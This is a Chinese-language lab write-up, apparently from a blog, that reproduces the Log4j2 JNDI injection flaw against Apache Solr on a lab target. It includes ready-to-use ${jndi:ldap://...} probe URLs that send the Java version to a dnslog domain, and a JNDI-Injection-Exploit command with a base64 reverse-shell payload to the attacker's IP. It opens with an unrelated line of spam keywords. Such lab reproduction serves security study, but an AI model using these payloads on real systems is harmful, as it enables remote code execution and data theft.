什么样的网站开发比较吃香,东营的招聘网站哪个有用,怎么做漫画网站,直播一级a做爰片免费网站一、前言
什么是Apache Log4j 2#xff1f;
Apache Log4j 2 是一个广泛使用的 Java 日志记录框架#xff0c;它是 Log4j 1.x 的完全重写版本#xff0c;提供了显著的性能改进和现代功能#xff0c;它可以通过查找#xff08;lookups#xff09;功能从日志配置或日志消息…一、前言
什么是Apache Log4j 2
Apache Log4j 2 是一个广泛使用的 Java 日志记录框架它是 Log4j 1.x 的完全重写版本提供了显著的性能改进和现代功能它可以通过查找lookups功能从日志配置或日志消息中动态的获取一些信息如${java:version} 可以返回Java 版本${sys:user.name} 可以返回系统用户名。
什么是JNDI
JNDI是Java提供的标准API它允许程序通过逻辑名称来查找和访问各种资源如数据库连接、消息队列或远程服务
Apache Log4j2 lookup JNDI 注入漏洞原理
漏洞根源在于 Log4j2 的 lookup 机制其在处理日志时会主动解析其中的 ${} 表达式以动态嵌入上下文信息。由于该功能支持 JNDI 并兼容多种协议如 LDAP、RMI、DNS攻击者便可构造特殊的日志请求例如将 ${jndi:ldap://恶意地址} 作为参数提交。应用在记录该请求时即触发 JNDI 查询从而连接攻击者控制的服务器下载并执行恶意载荷造成严重的远程代码执行后果。
二、漏洞复现
影响版本
Apache Log4j 2.x 版本从 2.0-beta9 到 2.14.1包含
靶机192.168.112.153
攻击机192.168.112.150
启动环境
sudo docker-compose up -d核心概念澄清 Log4j2 是一个日志框架/库它不是像 Apache 或 Nginx 那样直接提供服务的独立软件。它是一个被嵌入到其他 Java 应用程序中的日志记录工具。 漏洞触发条件要触发 Log4j 漏洞需要一个使用了有漏洞版本 Log4j2 框架/库的 Java 应用程序。攻击者需要能找到一种方式让这个应用程序记录他们精心构造的恶意字符串。 Apache Solr 作为目标Apache Solr 是一个流行的、用 Java 编写的企业级搜索平台。接下来启动的 Solr 8.11.0 版本恰好使用了存在漏洞的 Log4j2 (2.14.1)因此它成为了一个完美的攻击目标。
访问192.168.112.153:8983我看看到了Apache Solr的后台页面。 漏洞探测
http://192.168.112.153:8983/solr/admin/cores?action${jndi:ldap://dnslog.cn}这个路径是Apache Solr中已知存在Log4Shell漏洞的特定路径其中/solr/admin/cores 是Solr的核心管理接口这个接口会记录用户操作日志并且使用Log4j作为日志记录组件。
类似于的漏洞路径还有
http://192.168.112.153:8983/solr/admin/collections?action${jndi:ldap://dnslog.cn} http://192.168.112.153:8983/solr/admin/info/system?verb${jndi:ldap://dnslog.cn} http://192.168.112.153:8983/solr/admin/cores?wt${jndi:ldap://dnslog.cn}
其中dnslog.cn是我们dnslog平台的临时域名。
这里我使用这个域名。 我们访问url/solr/admin/cores?action${jndi:ldap://${sys:java.version}.ulhpr4.dnslog.cn} 接着回到我们的dnslog平台发现这里多了条记录那么就可以证明存在漏洞并且java的版本通过dnslog带了回来为1.8.0_102。
由于JNDI支持多种协议所以其实ldap可以换成rmi或dns。
如url/solr/admin/cores?action${jndi:rmi://${sys:java.version}.ulhpr4.dnslog.cn}
url/solr/admin/cores?action${jndi:dns://${sys:java.version}.ulhpr4.dnslog.cn} 反弹shell
首先在攻击机192.168.112.150上监听4444端口 然后打开第二终端发送以下payload
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjExMi4xNTAvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i} -A 192.168.112.150其中-A 192.168.112.150这个IP为攻击机IP
这个操作是在这个攻击机地址上启动恶意的JNDI服务以便后面触发漏洞。
反弹shell语句在这里编码 执行这个命令后如下选择其中一个true作为payload
这里选择ldap://192.168.112.150:1389/xzl1qm这个地址。 然后我们在靶机网址输入action${jndi:ldap://192.168.112.150:1389/xzl1qm}随后访问。 然后结果如下成功反弹shell 总结利用靶机存在的JNDI Lookup功能通过构造恶意日志输入 ${jndi:ldap://192.168.112.150:1389/xzl1qm} 触发Log4j漏洞诱导靶机连接攻击者搭建的恶意LDAP服务最终执行反弹shell命令获取远程控制权限。